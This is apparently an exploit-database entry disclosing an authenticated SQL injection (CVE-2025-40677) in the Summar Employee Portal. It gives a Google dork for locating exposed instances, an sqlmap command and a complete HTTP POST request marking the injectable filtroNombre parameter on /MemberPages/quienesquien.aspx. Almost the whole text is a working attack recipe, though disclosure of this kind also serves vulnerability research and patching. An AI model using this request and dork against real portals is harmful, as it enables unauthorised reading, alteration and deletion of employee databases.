Summar Employee Portal 3.98.0 – Authenticated SQL Injection
# Exploit Title: Summar Employee Portal 3.98.0 - Authenticated SQL Injection # Google Dork: inurl:"/MemberPages/quienesquien.aspx" # Date: 09/22/2025 # Exploit Author: Peter Gabaldon - https://pgj11.com/ # Vendor Homepage: https://www.summar.es/ # Software Link: https://www.summar.es/software-recursos-humanos/ # Version: < 3.98.0 # Tested on: Kali # CVE: CVE-2025-40677 # Description: SQL injection vulnerability in Summar Software´s Portal del Empleado. This vulnerability allows an attacker to retrieve, create, update, and delete the database by sending a POST request using the parameter “ctl00$ContentPlaceHolder1$filtroNombre” in “/MemberPages/quienesquien.aspx”. $ sqlmap --random-agent -r req.sqli.xml -p 'ctl00%24ContentPlaceHolder1%24filtroNombre' --dbms="MSSQL" POST /MemberPages/quienesquien.aspx HTTP/1.1 Host: [REDACTED] Cookie: [REDACTED] User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br X-Requested-With: XMLHttpRequest X-Microsoftajax: Delta=true Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded; charset=utf-8 Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Te: trailers Connection: keep-alive ctl00%24ScriptManager1=ctl00%24ScriptManager1%7Cctl00%24ContentPlaceHolder1%24lnkVerTrabajador&ctl00%24ContentPlaceHolder1%24filtroNombre=[SQL_INJECTION_POINT]&ctl00%24ContentPlaceHolder1%24ddlEmpresa=&ctl00%24ContentPlaceHolder1%24filtroCentro=&ctl00%24ContentPlaceHolder1%24filtroUO=&ctl00%24ContentPlaceHolder1%24filtroPuesto=&__EVENTTARGET=ctl00%24ContentPlaceHolder1%24lnkVerTrabajador&__EVENTARGUMENT=&__LASTFOCUS=&__VIEWSTATE=...&__VIEWSTATEGENERATOR=...&__ASYNCPOST=true& |